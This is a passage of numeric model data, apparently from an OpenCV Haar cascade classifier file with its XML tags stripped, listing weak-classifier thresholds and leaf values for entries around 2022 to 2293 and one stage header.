-1.8303999677300453e-02 + + -6.7499202489852905e-01 1.7092000693082809e-02 + <_> + + 0 -1 2022 -7.9199997708201408e-03 + + -7.2287000715732574e-02 1.4425800740718842e-01 + <_> + + 0 -1 2023 5.1925998181104660e-02 + + 3.0921999365091324e-02 -5.5860602855682373e-01 + <_> + + 0 -1 2024 6.6724002361297607e-02 + + 1.3666400313377380e-01 -2.9411000013351440e-01 + <_> + + 0 -1 2025 -1.3778000138700008e-02 + + -5.9443902969360352e-01 1.5300000086426735e-02 + <_> + + 0 -1 2026 -1.7760999500751495e-02 + + 4.0496501326560974e-01 -3.3559999428689480e-03 + <_> + + 0 -1 2027 -4.2234998196363449e-02 + + -1.0897940397262573e+00 -4.0224999189376831e-02 + <_> + + 0 -1 2028 -1.3524999842047691e-02 + + 2.8921899199485779e-01 -2.5194799900054932e-01 + <_> + + 0 -1 2029 -1.1106000281870365e-02 + + 6.5312802791595459e-01 -1.8053700029850006e-01 + <_> + + 0 -1 2030 -1.2284599989652634e-01 + + -1.9570649862289429e+00 1.4815400540828705e-01 + <_> + + 0 -1 2031 4.7715999186038971e-02 + + -2.2875599563121796e-01 3.4233701229095459e-01 + <_> + + 0 -1 2032 3.1817000359296799e-02 + + 1.5976299345493317e-01 -1.0091969966888428e+00 + <_> + + 0 -1 2033 4.2570000514388084e-03 + + -3.8881298899650574e-01 8.4210000932216644e-02 + <_> + + 0 -1 2034 -6.1372999101877213e-02 + + 1.7152810096740723e+00 5.9324998408555984e-02 + <_> + + 0 -1 2035 -2.7030000928789377e-03 + + -3.8161700963973999e-01 8.5127003490924835e-02 + <_> + + 0 -1 2036 -6.8544000387191772e-02 + + -3.0925889015197754e+00 1.1788000166416168e-01 + <_> + + 0 -1 2037 1.0372500121593475e-01 + + -1.3769300282001495e-01 1.9009410142898560e+00 + <_> + + 0 -1 2038 1.5799000859260559e-02 + + -6.2660001218318939e-02 2.5917699933052063e-01 + <_> + + 0 -1 2039 -9.8040001466870308e-03 + + -5.6291598081588745e-01 4.3923001736402512e-02 + <_> + + 0 -1 2040 -9.0229995548725128e-03 + + 2.5287100672721863e-01 -4.1225999593734741e-02 + <_> + + 0 -1 2041 -6.3754998147487640e-02 + + -2.6178569793701172e+00 -7.4005998671054840e-02 + <_> + + 0 -1 2042 3.8954999297857285e-02 + + 5.9032998979091644e-02 8.5945600271224976e-01 + <_> + + 0 -1 2043 -3.9802998304367065e-02 + + 9.3600499629974365e-01 -1.5639400482177734e-01 + <_> + + 0 -1 2044 5.0301998853683472e-02 + + 1.3725900650024414e-01 -2.5549728870391846e+00 + <_> + + 0 -1 2045 4.6250000596046448e-02 + + -1.3964000158011913e-02 -7.1026200056076050e-01 + <_> + + 0 -1 2046 6.2196001410484314e-02 + + 5.9526000171899796e-02 1.6509100198745728e+00 + <_> + + 0 -1 2047 -6.4776003360748291e-02 + + 7.1368998289108276e-01 -1.7270000278949738e-01 + <_> + + 0 -1 2048 2.7522999793291092e-02 + + 1.4631600677967072e-01 -8.1428997218608856e-02 + <_> + + 0 -1 2049 3.9900001138448715e-04 + + -3.7144500017166138e-01 1.0152699798345566e-01 + <_> + + 0 -1 2050 -4.3299999088048935e-03 + + -2.3756299912929535e-01 2.6798400282859802e-01 + <_> + + 0 -1 2051 4.7297000885009766e-02 + + -2.7682000771164894e-02 -8.4910297393798828e-01 + <_> + + 0 -1 2052 1.2508999556303024e-02 + + 1.8730199337005615e-01 -5.6001102924346924e-01 + <_> + + 0 -1 2053 4.5899000018835068e-02 + + -1.5601199865341187e-01 9.7073000669479370e-01 + <_> + + 0 -1 2054 1.9853399693965912e-01 + + 1.4895500242710114e-01 -1.1015529632568359e+00 + <_> + + 0 -1 2055 1.6674999147653580e-02 + + -1.6615299880504608e-01 8.2210999727249146e-01 + <_> + + 0 -1 2056 1.9829999655485153e-03 + + -7.1249999105930328e-02 2.8810900449752808e-01 + <_> + + 0 -1 2057 2.2447999566793442e-02 + + -2.0981000736355782e-02 -7.8416502475738525e-01 + <_> + + 0 -1 2058 -1.3913000002503395e-02 + + -1.8165799975395203e-01 2.0491799712181091e-01 + <_> + + 0 -1 2059 -7.7659999951720238e-03 + + -4.5595899224281311e-01 6.3576996326446533e-02 + <_> + + 0 -1 2060 -1.3209000229835510e-02 + + 2.6632300019264221e-01 -1.7795999348163605e-01 + <_> + + 0 -1 2061 4.9052998423576355e-02 + + -1.5476800501346588e-01 1.1069979667663574e+00 + <_> + + 0 -1 2062 2.0263999700546265e-02 + + 6.8915002048015594e-02 6.9867497682571411e-01 + <_> + + 0 -1 2063 -1.6828000545501709e-02 + + 2.7607199549674988e-01 -2.5139200687408447e-01 + <_> + + 0 -1 2064 -1.6939499974250793e-01 + + -3.0767529010772705e+00 1.1617500334978104e-01 + <_> + + 0 -1 2065 -1.1336100101470947e-01 + + -1.4639229774475098e+00 -5.1447000354528427e-02 + <_> + + 0 -1 2066 -7.7685996890068054e-02 + + 8.8430202007293701e-01 4.3306998908519745e-02 + <_> + + 0 -1 2067 -1.5568000264465809e-02 + + 1.3672499358654022e-01 -3.4505501389503479e-01 + <_> + + 0 -1 2068 -6.6018998622894287e-02 + + -1.0300110578536987e+00 1.1601399630308151e-01 + <_> + + 0 -1 2069 8.3699999377131462e-03 + + 7.6429001986980438e-02 -4.4002500176429749e-01 + <_> + + 0 -1 2070 3.5402998328208923e-02 + + 1.1979500204324722e-01 -7.2668302059173584e-01 + <_> + + 0 -1 2071 -3.9051000028848648e-02 + + 6.7375302314758301e-01 -1.8196000158786774e-01 + <_> + + 0 -1 2072 -9.7899995744228363e-03 + + 2.1264599263668060e-01 3.6756001412868500e-02 + <_> + + 0 -1 2073 -2.3047000169754028e-02 + + 4.4742199778556824e-01 -2.0986700057983398e-01 + <_> + + 0 -1 2074 3.1169999856501818e-03 + + 3.7544000893831253e-02 2.7808201313018799e-01 + <_> + + 0 -1 2075 1.3136000372469425e-02 + + -1.9842399656772614e-01 5.4335701465606689e-01 + <_> + + 0 -1 2076 1.4782000333070755e-02 + + 1.3530600070953369e-01 -1.1153600364923477e-01 + <_> + + 0 -1 2077 -6.0139000415802002e-02 + + 8.4039300680160522e-01 -1.6711600124835968e-01 + <_> + + 0 -1 2078 5.1998998969793320e-02 + + 1.7372000217437744e-01 -7.8547602891921997e-01 + <_> + + 0 -1 2079 2.4792000651359558e-02 + + -1.7739200592041016e-01 6.6752600669860840e-01 + <_> + + 0 -1 2080 -1.2014999985694885e-02 + + -1.4263699948787689e-01 1.6070500016212463e-01 + <_> + + 0 -1 2081 -9.8655998706817627e-02 + + 1.0429769754409790e+00 -1.5770199894905090e-01 + <_> + + 0 -1 2082 1.1758299916982651e-01 + + 1.0955700278282166e-01 -4.4920377731323242e+00 + <_> + + 0 -1 2083 -1.8922999501228333e-02 + + -7.8543400764465332e-01 1.2984000146389008e-02 + <_> + + 0 -1 2084 -2.8390999883413315e-02 + + -6.0569900274276733e-01 1.2903499603271484e-01 + <_> + + 0 -1 2085 1.3182999566197395e-02 + + -1.4415999874472618e-02 -7.3210501670837402e-01 + <_> + + 0 -1 2086 -1.1653000116348267e-01 + + -2.0442469120025635e+00 1.4053100347518921e-01 + <_> + + 0 -1 2087 -3.8880000356584787e-03 + + -4.1861599683761597e-01 7.8704997897148132e-02 + <_> + + 0 -1 2088 3.1229000538587570e-02 + + 2.4632999673485756e-02 4.1870400309562683e-01 + <_> + + 0 -1 2089 2.5198999792337418e-02 + + -1.7557799816131592e-01 6.4710599184036255e-01 + <_> + + 0 -1 2090 -2.8124000877141953e-02 + + -2.2005599737167358e-01 1.4121000468730927e-01 + <_> + + 0 -1 2091 3.6499001085758209e-02 + + -6.8426996469497681e-02 -2.3410849571228027e+00 + <_> + + 0 -1 2092 -7.2292998433113098e-02 + + 1.2898750305175781e+00 8.4875002503395081e-02 + <_> + + 0 -1 2093 -4.1671000421047211e-02 + + -1.1630970239639282e+00 -5.3752999752759933e-02 + <_> + + 0 -1 2094 4.7703001648187637e-02 + + 7.0101000368595123e-02 7.3676502704620361e-01 + <_> + + 0 -1 2095 6.5793000161647797e-02 + + -1.7755299806594849e-01 6.9780498743057251e-01 + <_> + + 0 -1 2096 1.3904999941587448e-02 + + 2.1936799585819244e-01 -2.0390799641609192e-01 + <_> + + 0 -1 2097 -2.7730999514460564e-02 + + 6.1867898702621460e-01 -1.7804099619388580e-01 + <_> + + 0 -1 2098 -1.5879999846220016e-02 + + -4.6484100818634033e-01 1.8828600645065308e-01 + <_> + + 0 -1 2099 7.4128001928329468e-02 + + -1.2858100235462189e-01 3.2792479991912842e+00 + <_> + + 0 -1 2100 -8.9000002481043339e-04 + + -3.0117601156234741e-01 2.3818799853324890e-01 + <_> + + 0 -1 2101 1.7965000122785568e-02 + + -2.2284999489784241e-01 2.9954001307487488e-01 + <_> + + 0 -1 2102 -2.5380000006407499e-03 + + 2.5064399838447571e-01 -1.3665600121021271e-01 + <_> + + 0 -1 2103 -9.0680001303553581e-03 + + 2.9017499089241028e-01 -2.8929701447486877e-01 + <_> + + 0 -1 2104 4.9169998615980148e-02 + + 1.9156399369239807e-01 -6.8328702449798584e-01 + <_> + + 0 -1 2105 -3.0680999159812927e-02 + + -7.5677001476287842e-01 -1.3279999606311321e-02 + <_> + + 0 -1 2106 1.0017400234937668e-01 + + 8.4453999996185303e-02 1.0888710021972656e+00 + <_> + + 0 -1 2107 3.1950001139193773e-03 + + -2.6919400691986084e-01 1.9537900388240814e-01 + <_> + + 0 -1 2108 3.5503000020980835e-02 + + 1.3632300496101379e-01 -5.6917202472686768e-01 + <_> + + 0 -1 2109 4.5900000259280205e-04 + + -4.0443998575210571e-01 1.4074799418449402e-01 + <_> + + 0 -1 2110 2.5258999317884445e-02 + + 1.6243200004100800e-01 -5.5741798877716064e-01 + <_> + + 0 -1 2111 -5.1549999043345451e-03 + + 3.1132599711418152e-01 -2.2756099700927734e-01 + <_> + + 0 -1 2112 1.5869999770075083e-03 + + -2.6867699623107910e-01 1.9565400481224060e-01 + <_> + + 0 -1 2113 -1.6204999759793282e-02 + + 1.5486499667167664e-01 -3.4057798981666565e-01 + <_> + + 0 -1 2114 -2.9624000191688538e-02 + + 1.1466799974441528e+00 9.0557999908924103e-02 + <_> + + 0 -1 2115 -1.5930000226944685e-03 + + -7.1257501840591431e-01 -7.0400000549852848e-04 + <_> + + 0 -1 2116 -5.4019000381231308e-02 + + 4.1537499427795410e-01 2.7246000245213509e-02 + <_> + + 0 -1 2117 -6.6211000084877014e-02 + + -1.3340090513229370e+00 -4.7352999448776245e-02 + <_> + + 0 -1 2118 2.7940999716520309e-02 + + 1.4446300268173218e-01 -5.1518398523330688e-01 + <_> + + 0 -1 2119 2.8957000002264977e-02 + + -4.9966000020503998e-02 -1.1929039955139160e+00 + <_> + + 0 -1 2120 -2.0424999296665192e-02 + + 6.3881301879882812e-01 3.8141001015901566e-02 + <_> + + 0 -1 2121 1.2416999787092209e-02 + + -2.1547000110149384e-01 4.9477699398994446e-01 + <_> + 181 + -3.3196411132812500e+00 + + <_> + + 0 -1 2122 4.3274000287055969e-02 + + -8.0494397878646851e-01 3.9897298812866211e-01 + <_> + + 0 -1 2123 1.8615500628948212e-01 + + -3.1655299663543701e-01 6.8877297639846802e-01 + <_> + + 0 -1 2124 3.1860999763011932e-02 + + -6.4266198873519897e-01 2.5550898909568787e-01 + <_> + + 0 -1 2125 1.4022000133991241e-02 + + -4.5926600694656372e-01 3.1171199679374695e-01 + <_> + + 0 -1 2126 -6.3029997982084751e-03 + + 4.6026900410652161e-01 -2.7438500523567200e-01 + <_> + + 0 -1 2127 -5.4310001432895660e-03 + + 3.6608600616455078e-01 -2.7205801010131836e-01 + <_> + + 0 -1 2128 1.6822999343276024e-02 + + 2.3476999253034592e-02 -8.8443797826766968e-01 + <_> + + 0 -1 2129 2.6039000600576401e-02 + + 1.7488799989223480e-01 -5.4564702510833740e-01 + <_> + + 0 -1 2130 -2.6720000430941582e-02 + + -9.6396499872207642e-01 2.3524999618530273e-02 + <_> + + 0 -1 2131 -1.7041999846696854e-02 + + -7.0848798751831055e-01 2.1468099951744080e-01 + <_> + + 0 -1 2132 5.9569999575614929e-03 + + 7.3601000010967255e-02 -6.8225598335266113e-01 + <_> + + 0 -1 2133 -2.8679999522864819e-03 + + -7.4935001134872437e-01 2.3803399503231049e-01 + <_> + + 0 -1 2134 -4.3774999678134918e-02 + + 6.8323302268981934e-01 -2.1380299329757690e-01 + <_> + + 0 -1 2135 5.1633000373840332e-02 + + -1.2566499412059784e-01 6.7523801326751709e-01 + <_> + + 0 -1 2136 8.1780003383755684e-03 + + 7.0689998567104340e-02 -8.0665898323059082e-01 + <_> + + 0 -1 2137 -5.2841998636722565e-02 + + 9.5433902740478516e-01 1.6548000276088715e-02 + <_> + + 0 -1 2138 5.2583999931812286e-02 + + -2.8414401412010193e-01 4.7129800915718079e-01 + <_> + + 0 -1 2139 -1.2659000232815742e-02 + + 3.8445401191711426e-01 -6.2288001179695129e-02 + <_> + + 0 -1 2140 1.1694000102579594e-02 + + 5.6000000768108293e-05 -1.0173139572143555e+00 + <_> + + 0 -1 2141 -2.3918999359011650e-02 + + 8.4921300411224365e-01 5.7399999350309372e-03 + <_> + + 0 -1 2142 -6.1673998832702637e-02 + + -9.2571401596069336e-01 -1.7679999582469463e-03 + <_> + + 0 -1 2143 -1.8279999494552612e-03 + + -5.4372298717498779e-01 2.4932399392127991e-01 + <_> + + 0 -1 2144 3.5257998853921890e-02 + + -7.3719997890293598e-03 -9.3963998556137085e-01 + <_> + + 0 -1 2145 -1.8438000231981277e-02 + + 7.2136700153350830e-01 1.0491999797523022e-02 + <_> + + 0 -1 2146 -3.8389001041650772e-02 + + 1.9272600114345551e-01 -3.5832101106643677e-01 + <_> + + 0 -1 2147 9.9720999598503113e-02 + + 1.1354199796915054e-01 -1.6304190158843994e+00 + <_> + + 0 -1 2148 8.4462001919746399e-02 + + -5.3420998156070709e-02 -1.6981120109558105e+00 + <_> + + 0 -1 2149 4.0270000696182251e-02 + + -1.0783199965953827e-01 5.1926600933074951e-01 + <_> + + 0 -1 2150 5.8935999870300293e-02 + + -1.8053700029850006e-01 9.5119798183441162e-01 + <_> + + 0 -1 2151 1.4957000315189362e-01 + + 1.6785299777984619e-01 -1.1591869592666626e+00 + <_> + + 0 -1 2152 6.9399998756125569e-04 + + 2.0491400361061096e-01 -3.3118200302124023e-01 + <_> + + 0 -1 2153 -3.3369001001119614e-02 + + 9.3468099832534790e-01 -2.9639999847859144e-03 + <_> + + 0 -1 2154 9.3759996816515923e-03 + + 3.7000000011175871e-03 -7.7549797296524048e-01 + <_> + + 0 -1 2155 4.3193999677896500e-02 + + -2.2040000185370445e-03 7.4589699506759644e-01 + <_> + + 0 -1 2156 -6.7555002868175507e-02 + + 7.2292101383209229e-01 -1.8404200673103333e-01 + <_> + + 0 -1 2157 -3.1168600916862488e-01 + + 1.0014270544052124e+00 3.4003000706434250e-02 + <_> + + 0 -1 2158 2.9743999242782593e-02 + + -4.6356000006198883e-02 -1.2781809568405151e+00 + <_> + + 0 -1 2159 1.0737000033259392e-02 + + 1.4812000095844269e-02 6.6649997234344482e-01 + <_> + + 0 -1 2160 -2.8841000050306320e-02 + + -9.4222599267959595e-01 -2.0796999335289001e-02 + <_> + + 0 -1 2161 -5.7649998925626278e-03 + + -4.3541899323463440e-01 2.3386000096797943e-01 + <_> + + 0 -1 2162 2.8410999104380608e-02 + + -1.7615799605846405e-01 8.5765302181243896e-01 + <_> + + 0 -1 2163 -2.9007999226450920e-02 + + 5.7978099584579468e-01 2.8565999120473862e-02 + <_> + + 0 -1 2164 2.4965999647974968e-02 + + -2.2729000076651573e-02 -9.6773099899291992e-01 + <_> + + 0 -1 2165 1.2036000378429890e-02 + + -1.4214700460433960e-01 5.1687997579574585e-01 + <_> + + 0 -1 2166 -4.2514000087976456e-02 + + 9.7273802757263184e-01 -1.8119800090789795e-01 + <_> + + 0 -1 2167 1.0276000015437603e-02 + + -8.3099998533725739e-02 3.1762799620628357e-01 + <_> + + 0 -1 2168 -6.9191999733448029e-02 + + -2.0668580532073975e+00 -6.0173999518156052e-02 + <_> + + 0 -1 2169 -4.6769999898970127e-03 + + 4.4131800532341003e-01 2.3209000006318092e-02 + <_> + + 0 -1 2170 -1.3923999853432178e-02 + + 2.8606700897216797e-01 -2.9152700304985046e-01 + <_> + + 0 -1 2171 -1.5333999879658222e-02 + + -5.7414501905441284e-01 2.3063300549983978e-01 + <_> + + 0 -1 2172 -1.0239000432193279e-02 + + 3.4479200839996338e-01 -2.6080399751663208e-01 + <_> + + 0 -1 2173 -5.0988998264074326e-02 + + 5.6154102087020874e-01 6.1218999326229095e-02 + <_> + + 0 -1 2174 3.0689999461174011e-02 + + -1.4772799611091614e-01 1.6378489732742310e+00 + <_> + + 0 -1 2175 -1.1223999783396721e-02 + + 2.4006199836730957e-01 -4.4864898920059204e-01 + <_> + + 0 -1 2176 -6.2899999320507050e-03 + + 4.3119499087333679e-01 -2.3808999359607697e-01 + <_> + + 0 -1 2177 7.8590996563434601e-02 + + 1.9865000620484352e-02 8.0853801965713501e-01 + <_> + + 0 -1 2178 -1.0178999975323677e-02 + + 1.8193200230598450e-01 -3.2877799868583679e-01 + <_> + + 0 -1 2179 3.1227000057697296e-02 + + 1.4973899722099304e-01 -1.4180339574813843e+00 + <_> + + 0 -1 2180 4.0196999907493591e-02 + + -1.9760499894618988e-01 5.8508199453353882e-01 + <_> + + 0 -1 2181 1.6138000413775444e-02 + + 5.0000002374872565e-04 3.9050000905990601e-01 + <_> + + 0 -1 2182 -4.5519001781940460e-02 + + 1.2646820545196533e+00 -1.5632599592208862e-01 + <_> + + 0 -1 2183 -1.8130000680685043e-02 + + 6.5148502588272095e-01 1.0235999710857868e-02 + <_> + + 0 -1 2184 -1.4001999981701374e-02 + + -1.0344820022583008e+00 -3.2182998955249786e-02 + <_> + + 0 -1 2185 -3.8816001266241074e-02 + + -4.7874298691749573e-01 1.6290700435638428e-01 + <_> + + 0 -1 2186 3.1656000763177872e-02 + + -2.0983399450778961e-01 5.4575902223587036e-01 + <_> + + 0 -1 2187 -1.0839999653398991e-02 + + 5.1898801326751709e-01 -1.5080000273883343e-02 + <_> + + 0 -1 2188 1.2032999657094479e-02 + + -2.1107600629329681e-01 7.5937002897262573e-01 + <_> + + 0 -1 2189 7.0772998034954071e-02 + + 1.8048800528049469e-01 -7.4048501253128052e-01 + <_> + + 0 -1 2190 5.3139799833297729e-01 + + -1.4491699635982513e-01 1.5360039472579956e+00 + <_> + + 0 -1 2191 -1.4774000272154808e-02 + + -2.8153699636459351e-01 2.0407299697399139e-01 + <_> + + 0 -1 2192 -2.2410000674426556e-03 + + -4.4876301288604736e-01 5.3989000618457794e-02 + <_> + + 0 -1 2193 4.9968000501394272e-02 + + 4.1514001786708832e-02 2.9417100548744202e-01 + <_> + + 0 -1 2194 -4.7701999545097351e-02 + + 3.9674299955368042e-01 -2.8301799297332764e-01 + <_> + + 0 -1 2195 -9.1311000287532806e-02 + + 2.1994259357452393e+00 8.7964996695518494e-02 + <_> + + 0 -1 2196 3.8070000708103180e-02 + + -2.8025600314140320e-01 2.5156199932098389e-01 + <_> + + 0 -1 2197 -1.5538999810814857e-02 + + 3.4157499670982361e-01 1.7924999818205833e-02 + <_> + + 0 -1 2198 -1.5445999801158905e-02 + + 2.8680199384689331e-01 -2.5135898590087891e-01 + <_> + + 0 -1 2199 -5.7388000190258026e-02 + + 6.3830000162124634e-01 8.8597998023033142e-02 + <_> + + 0 -1 2200 -5.9440000914037228e-03 + + 7.9016998410224915e-02 -4.0774899721145630e-01 + <_> + + 0 -1 2201 -6.9968998432159424e-02 + + -4.4644200801849365e-01 1.7219600081443787e-01 + <_> + + 0 -1 2202 -2.5064999237656593e-02 + + -9.8270201683044434e-01 -3.5388000309467316e-02 + <_> + + 0 -1 2203 1.7216000705957413e-02 + + 2.2705900669097900e-01 -8.0550098419189453e-01 + <_> + + 0 -1 2204 -4.4279001653194427e-02 + + 8.3951997756958008e-01 -1.7429600656032562e-01 + <_> + + 0 -1 2205 4.3988998979330063e-02 + + 1.1557199805974960e-01 -1.9666889905929565e+00 + <_> + + 0 -1 2206 1.5907000750303268e-02 + + -3.7576001137495041e-02 -1.0311100482940674e+00 + <_> + + 0 -1 2207 -9.2754997313022614e-02 + + -1.3530019521713257e+00 1.2141299992799759e-01 + <_> + + 0 -1 2208 7.1037001907825470e-02 + + -1.7684300243854523e-01 7.4485200643539429e-01 + <_> + + 0 -1 2209 5.7762000709772110e-02 + + 1.2835599482059479e-01 -4.4444200396537781e-01 + <_> + + 0 -1 2210 -1.6432000324130058e-02 + + 8.0152702331542969e-01 -1.7491699755191803e-01 + <_> + + 0 -1 2211 2.3939000442624092e-02 + + 1.6144999861717224e-01 -1.2364500015974045e-01 + <_> + + 0 -1 2212 1.2636000290513039e-02 + + 1.5411999821662903e-01 -3.3293798565864563e-01 + <_> + + 0 -1 2213 -5.4347999393939972e-02 + + -1.8400700092315674e+00 1.4835999906063080e-01 + <_> + + 0 -1 2214 -1.3261999934911728e-02 + + -8.0838799476623535e-01 -2.7726000174880028e-02 + <_> + + 0 -1 2215 6.1340001411736012e-03 + + -1.3785000145435333e-01 3.2858499884605408e-01 + <_> + + 0 -1 2216 2.8991000726819038e-02 + + -2.5516999885439873e-02 -8.3387202024459839e-01 + <_> + + 0 -1 2217 -2.1986000239849091e-02 + + -7.3739999532699585e-01 1.7887100577354431e-01 + <_> + + 0 -1 2218 5.3269998170435429e-03 + + -4.5449298620223999e-01 6.8791002035140991e-02 + <_> + + 0 -1 2219 8.6047999560832977e-02 + + 2.1008500456809998e-01 -3.7808901071548462e-01 + <_> + + 0 -1 2220 -8.5549997165799141e-03 + + 4.0134999155998230e-01 -2.1074099838733673e-01 + <_> + + 0 -1 2221 6.7790001630783081e-03 + + -2.1648999303579330e-02 4.5421499013900757e-01 + <_> + + 0 -1 2222 -6.3959998078644276e-03 + + -4.9818599224090576e-01 7.5907997786998749e-02 + <_> + + 0 -1 2223 8.9469999074935913e-03 + + 1.7857700586318970e-01 -2.8454899787902832e-01 + <_> + + 0 -1 2224 3.2589999027550220e-03 + + 4.6624999493360519e-02 -5.5206298828125000e-01 + <_> + + 0 -1 2225 4.1476998478174210e-02 + + 1.7550499737262726e-01 -2.0703999698162079e-01 + <_> + + 0 -1 2226 -6.7449999041855335e-03 + + -4.6392598748207092e-01 6.9303996860980988e-02 + <_> + + 0 -1 2227 3.0564999207854271e-02 + + 5.1734998822212219e-02 7.5550502538681030e-01 + <_> + + 0 -1 2228 -7.4780001305043697e-03 + + 1.4893899857997894e-01 -3.1906801462173462e-01 + <_> + + 0 -1 2229 8.9088998734951019e-02 + + 1.3738800585269928e-01 -1.1379710435867310e+00 + <_> + + 0 -1 2230 7.3230001144111156e-03 + + -2.8829199075698853e-01 1.9088600575923920e-01 + <_> + + 0 -1 2231 -1.8205000087618828e-02 + + -3.0178600549697876e-01 1.6795800626277924e-01 + <_> + + 0 -1 2232 -2.5828000158071518e-02 + + -9.8137998580932617e-01 -1.9860999658703804e-02 + <_> + + 0 -1 2233 1.0936199873685837e-01 + + 4.8790000379085541e-02 5.3118300437927246e-01 + <_> + + 0 -1 2234 -1.1424999684095383e-02 + + 2.3705999553203583e-01 -2.7925300598144531e-01 + <_> + + 0 -1 2235 -5.7565998286008835e-02 + + 4.7255399823188782e-01 6.5171003341674805e-02 + <_> + + 0 -1 2236 1.0278300195932388e-01 + + -2.0765100419521332e-01 5.0947701930999756e-01 + <_> + + 0 -1 2237 2.7041999623179436e-02 + + 1.6421200335025787e-01 -1.4508620500564575e+00 + <_> + + 0 -1 2238 -1.3635000213980675e-02 + + -5.6543898582458496e-01 2.3788999766111374e-02 + <_> + + 0 -1 2239 -3.2158198952674866e-01 + + -3.5602829456329346e+00 1.1801300197839737e-01 + <_> + + 0 -1 2240 2.0458100736141205e-01 + + -3.7016000598669052e-02 -1.0225499868392944e+00 + <_> + + 0 -1 2241 -7.0347003638744354e-02 + + -5.6491899490356445e-01 1.8525199592113495e-01 + <_> + + 0 -1 2242 3.7831000983715057e-02 + + -2.9901999980211258e-02 -8.2921499013900757e-01 + <_> + + 0 -1 2243 -7.0298001170158386e-02 + + -5.3172302246093750e-01 1.4430199563503265e-01 + <_> + + 0 -1 2244 6.3221000134944916e-02 + + -2.2041200101375580e-01 4.7952198982238770e-01 + <_> + + 0 -1 2245 3.6393001675605774e-02 + + 1.4222699403762817e-01 -6.1193901300430298e-01 + <_> + + 0 -1 2246 4.0099998004734516e-03 + + -3.4560799598693848e-01 1.1738699674606323e-01 + <_> + + 0 -1 2247 -4.9106001853942871e-02 + + 9.5984101295471191e-01 6.4934998750686646e-02 + <_> + + 0 -1 2248 -7.1583002805709839e-02 + + 1.7385669946670532e+00 -1.4252899587154388e-01 + <_> + + 0 -1 2249 -3.8008999079465866e-02 + + 1.3872820138931274e+00 6.6188000142574310e-02 + <_> + + 0 -1 2250 -3.1570000573992729e-03 + + 5.3677000105381012e-02 -5.4048001766204834e-01 + <_> + + 0 -1 2251 1.9458999857306480e-02 + + -9.3620002269744873e-02 3.9131000638008118e-01 + <_> + + 0 -1 2252 1.1293999850749969e-02 + + 3.7223998457193375e-02 -5.4251801967620850e-01 + <_> + + 0 -1 2253 -3.3495001494884491e-02 + + 9.5307898521423340e-01 3.7696998566389084e-02 + <_> + + 0 -1 2254 9.2035003006458282e-02 + + -1.3488399982452393e-01 2.2897069454193115e+00 + <_> + + 0 -1 2255 3.7529999390244484e-03 + + 2.2824199497699738e-01 -5.9983700513839722e-01 + <_> + + 0 -1 2256 1.2848000042140484e-02 + + -2.2005200386047363e-01 3.7221899628639221e-01 + <_> + + 0 -1 2257 -1.4316199719905853e-01 + + 1.2855789661407471e+00 4.7237001359462738e-02 + <_> + + 0 -1 2258 -9.6879996359348297e-02 + + -3.9550929069519043e+00 -7.2903998196125031e-02 + <_> + + 0 -1 2259 -8.8459998369216919e-03 + + 3.7674999237060547e-01 -4.6484000980854034e-02 + <_> + + 0 -1 2260 1.5900000929832458e-02 + + -2.4457000195980072e-02 -8.0034798383712769e-01 + <_> + + 0 -1 2261 7.0372000336647034e-02 + + 1.7019000649452209e-01 -6.3068997859954834e-01 + <_> + + 0 -1 2262 -3.7953998893499374e-02 + + -9.3667197227478027e-01 -4.1214000433683395e-02 + <_> + + 0 -1 2263 5.1597899198532104e-01 + + 1.3080599904060364e-01 -1.5802290439605713e+00 + <_> + + 0 -1 2264 -3.2843001186847687e-02 + + -1.1441620588302612e+00 -4.9173999577760696e-02 + <_> + + 0 -1 2265 -3.6357000470161438e-02 + + 4.9606400728225708e-01 -3.4458998590707779e-02 + <_> + + 0 -1 2266 6.8080001510679722e-03 + + -3.0997800827026367e-01 1.7054800689220428e-01 + <_> + + 0 -1 2267 -1.6114000231027603e-02 + + -3.7904599308967590e-01 1.6078999638557434e-01 + <_> + + 0 -1 2268 8.4530003368854523e-03 + + -1.8655499815940857e-01 5.6367701292037964e-01 + <_> + + 0 -1 2269 -1.3752399384975433e-01 + + -5.8989900350570679e-01 1.1749500036239624e-01 + <_> + + 0 -1 2270 1.7688000202178955e-01 + + -1.5424899756908417e-01 9.2911100387573242e-01 + <_> + + 0 -1 2271 7.9309996217489243e-03 + + 3.2190701365470886e-01 -1.6392600536346436e-01 + <_> + + 0 -1 2272 1.0971800237894058e-01 + + -1.5876500308513641e-01 1.0186259746551514e+00 + <_> + + 0 -1 2273 -3.0293000862002373e-02 + + 7.5587302446365356e-01 3.1794998794794083e-02 + <_> + + 0 -1 2274 -2.3118000477552414e-02 + + -8.8451498746871948e-01 -9.5039997249841690e-03 + <_> + + 0 -1 2275 -3.0900000128895044e-03 + + 2.3838299512863159e-01 -1.1606200039386749e-01 + <_> + + 0 -1 2276 -3.3392000943422318e-02 + + -1.8738139867782593e+00 -6.8502999842166901e-02 + <_> + + 0 -1 2277 1.3190000317990780e-02 + + 1.2919899821281433e-01 -6.7512202262878418e-01 + <_> + + 0 -1 2278 1.4661000110208988e-02 + + -2.4829000234603882e-02 -7.4396800994873047e-01 + <_> + + 0 -1 2279 -1.3248000293970108e-02 + + 4.6820199489593506e-01 -2.4165000766515732e-02 + <_> + + 0 -1 2280 -1.6218999400734901e-02 + + 4.0083798766136169e-01 -2.1255700290203094e-01 + <_> + + 0 -1 2281 -2.9052000492811203e-02 + + -1.5650019645690918e+00 1.4375899732112885e-01 + <_> + + 0 -1 2282 -1.0153199732303619e-01 + + -1.9220689535140991e+00 -6.9559998810291290e-02 + <_> + + 0 -1 2283 3.7753999233245850e-02 + + 1.3396799564361572e-01 -2.2639141082763672e+00 + <_> + + 0 -1 2284 -2.8555598855018616e-01 + + 1.0215270519256592e+00 -1.5232199430465698e-01 + <_> + + 0 -1 2285 1.5360699594020844e-01 + + -9.7409002482891083e-02 4.1662400960922241e-01 + <_> + + 0 -1 2286 -2.1199999901000410e-04 + + 1.1271899938583374e-01 -4.1653999686241150e-01 + <_> + + 0 -1 2287 -2.0597999915480614e-02 + + 6.0540497303009033e-01 6.2467999756336212e-02 + <_> + + 0 -1 2288 3.7353999912738800e-02 + + -1.8919000029563904e-01 4.6464699506759644e-01 + <_> + + 0 -1 2289 5.7275000959634781e-02 + + 1.1565300077199936e-01 -1.3213009834289551e+00 + <_> + + 0 -1 2290 5.1029999740421772e-03 + + -2.8061500191688538e-01 1.9313399493694305e-01 + <_> + + 0 -1 2291 -5.4644998162984848e-02 + + 7.2428500652313232e-01 7.5447998940944672e-02 + <_> + + 0 -1 2292 2.5349000468850136e-02 + + -1.9481800496578217e-01 4.6032801270484924e-01 + <_> + + 0 -1 2293 2.4311000481247902e-02 + + 